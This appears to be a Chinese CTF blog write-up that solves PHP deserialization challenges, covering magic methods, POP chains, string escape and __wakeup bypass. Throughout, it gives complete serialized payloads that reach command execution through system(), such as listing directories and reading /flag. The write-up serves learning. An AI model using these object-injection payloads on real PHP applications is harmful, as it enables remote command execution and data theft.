注意:如果需要返回父类中的私有属性,需要使用序列化中的特殊格式 - %00 父类名称 %00 变量名 (%00 是 ASCII 值为 0 的空字符 null,在代码内我们也可以通过 “\0” - 注意在双引号中,PHP 才会解析转义字符和变量。)。
例如,父类 FLAG 的私有属性 private $f; 应该在子类的 __sleep() 方法中以 “\0FLAG\0f” 的格式返回。
如果该方法未返回任何内容,序列化会被制空,并产生一个 E_NOTICE 级别的错误。
题中也给出来了如果我们将类 FLAG 给序列化,返回的是什么


读题,这里应该并不要我们写什么,他用 sleep 魔术方法控制了序列化时只序列化两个随机的和一个可控的成员变量,我们拼起来就行了(注意父类按要求访问)

[反序列化靶场]Level13-__toString()
先复习:本方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。
读题,易知 echo $obj,将其视为字符串打印即得 flag

Payload:
o=echo $obj;

[反序列化靶场]Level14-__invoke()
读题,与上题同理,按规则调用


[反序列化靶场]Level16-POP 链构造
读题,这里很明显类 A 是目的地,成员 a 得是 flag.php(题目说明了),被包含进去了再打印
所以前两行很明显,是
$C1=new A();
而且还要求
$C1->a=flag.php;
紧接着 A 的 invoke 要用变量名加括号调用,正是 class B 的方式
我们应当创建第三四行:
$C2=new B();
$C2->b=$C1;
同理 return $f();要用 toString 执行,即得第五第六行
$C3=new INIT();
$C3->name=$C2;
我们反序列化的也应该是应执行 wakeup 的 $C3
1 | class A { |
1 | $C1=new A(); |
获得最终 payload:
O:4:”INIT”:1:{s:4:”name”;O:1:”B”:1:{s:1:”b”;O:1:”A”:1:{s:1:”a”;s:8:”flag.php”;}}}
运行通过!

[反序列化靶场]Level17-字符串逃逸
读题,本题是想告诉我们当序列化字符串中没有对应类的一些成员属性的时候,在反序列化时,解释器会直接从当前类中 COPY 序列化中不存在的成员属性。

直接 payload:
o=O:1:”A”:1:{s:11:”helloctfcmd”;s:8:”get_flag”;}
即得

[反序列化靶场]Level18-字符串逃逸 2
先读本题提示:序列化和反序列化的规则特性,字符串尾部判定:进行反序列化时,当成员属性的数量,名称长度,内容长度均一致时,程序会以 “;}” 作为字符串的结尾判定。

可以看到本题要求我们做一些替换工作让 key 值为 GET_FLAG ,而在前面的对象创建过程中,我们知道 key 值为 GET_FLAG";}FAKE_FLAG,根据我们所知的特性,将 key 值对应的字符数量缩窄只留下 GET_FLAG,也就是 8 个字符 —— 将 20 替换为 8 即可,接着 题目要求一个新的 FLAG 类,所以还需要将类名标识由 Demo 改为 FLAG。
1 | $target = ['Demo',20] |
使用数组进行正确 payload:
target[]=Demo&target[]=20&change[]=FLAG&change[]=8
即得

注:回显 bool(false),是因为大括号内属性和大括号外声明的成员属性数量或字符串长度不一致,需要检查成员属性个数或字符串长度.
[SQCTF]逃
[MOECTF2025]第十七章 星骸迷阵·神念重构
读题,这里应该是用序列化创建一个类 A 的实例,并将成员变量 a 赋值为需要执行的命令

以 ls 为命令,写一个序列化的脚本,点击运行获得 payload

命令就被成功执行了

改成 cat /flag,检查字符个数 flag 就被打印了

[MOECTF2025]第十八章
读题,必然是考 POP 链构造,只有两个类很简单

写脚本,发现没法在外部修改 name 值,我们先把 name 改成公有,最后才调配格式


private 改成了 public,输出是这样,a 的 name 属性指向 b,b 的 work 函数在 A 序列化时执行

改成私有,payload:
O:7:”PersonA”:1:{s:13:”%00PersonA%00name”;O:7:”PersonB”:1:{s:4:”name”;s:18:”echo system(‘ls’);”;}}

看看根目录 s:18 改成 20 ls /果然有 flag

命令 cat /flag 即得本关旗帜

[MOECTF2025]第十九章
读题,还是个比较难的 POP 链,其中带了个轻过滤
1 |
|
找到突破口$name($age); 顺思路构造 payload,即得答案
O:7:”PersonC”:3:{s:4:”name”;s:6:”system”;s:2:”id”;O:7:”PersonB”:3:{s:4:”name”;s:9:”cat /????”;s:2:”id”;O:7:”PersonA”:3:{s:4:”name”;r:1;s:2:”id”;s:7:”__Check”;s:3:”age”;N;}s:3:”age”;N;}s:3:”age”;N;}
注意,$ 变量名 +()不一定是为了执行 invoke,也有变量名是命令执行函数名的情况,直接执行命令执行函数
反序列化很重要,我们再加练几道题熟悉一下魔术方法和 POP 链…
[SWPUCTF 2022 新生赛]ez_ez_unserialize
做题前我们需要知道__FILE__永远指向当前正在执行的这个 PHP 文件的完整绝对路径(包含目录 + 文件名)
所以本题我们既需要为 x 赋给好了的 php 文件,又要绕过 wakeup 函数把他赋值回无用的__FILE__
因此我们在序列化的时候将元素个数改为大于 1 的数

将原本成员个数的 1 改成 2,即得 flag

[SWPUCTF 2021 新生赛]ez_unserialize
待做 需要用到未来知识
[SWPUCTF 2021 新生赛]no_wakeup
读题,还是绕过 wakeup

同样的道理

[SWPUCTF 2022 新生赛]1z_unserialize
读题,发现有形如$a($b)的情况,这里可将$a视为命令执行函数,$b 视为函数参数执行命令执行函数

编写脚本获得 payload,即可进行命令执行


注意了后面试了一下,ls 命令不可以用单引号覆盖,有些命令加了单引号就不能执行了


[SWPUCTF 2023 秋季新生赛]UnS3rialize
又到了喜闻乐见的 POP 链啊,我们观察一下吧
1 |
|
先找这个题目的突破口在哪里,显然是类 NSS 的 system 函数,成员变量 cmd 应该是你要执行的指令
有
$a=new NSS();
$a->cmd=”ls”;
要触发 system,要执行 invoke
要执行 invoke,必然要修改 class C 中的 $want
$b=new C();
$b->whoami=$a;
执行 invoke 的前提条件是类 C 的 get 被执行
我们复习一下:
读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用。
还剩下 T F 两个类选一个来读取类 C 中不存在的值,我们发现 T 有个变量 var 谁也没有
于是有
$c=new T();
$c->sth=$b;//用于访问 $b 即类 C 的不存在变量
最后就是用类 F 执行 T 的 tostring 了,这个很简单
$d=new F();
$d->user=”SWPU”;
$d->passwd=”NSS”;
$d->note=$c;//用于打印 c
我们把这几行代码全输到脚本里

得到 payload:
O:1:”F”:3:{s:4:”user”;s:4:”SWPU”;s:6:”passwd”;s:3:”NSS”;s:5:”notes”;O:1:”T”:1:{s:3:”sth”;O:1:”C”:1:{s:6:”whoami”;O:3:”NSS”:1:{s:3:”cmd”;s:2:”ls”;}}}}
进行 base64 编码,使用 get 提交即可.
卧槽?还得绕过 wakeup,改一个数字
O:1:”F”:4:{s:4:”user”;s:4:”SWPU”;s:6:”passwd”;s:3:”NSS”;s:5:”notes”;O:1:”T”:1:{s:3:”sth”;O:1:”C”:1:{s:6:”whoami”;O:3:”NSS”:1:{s:3:”cmd”;s:2:”ls”;}}}}
运行通过!

查 ls / 根目录下 flag

![CVE-2022-47615[任意文件读取]](/img/BqvBbcdufoB3S8xJ1FQcnMsenkh.png)

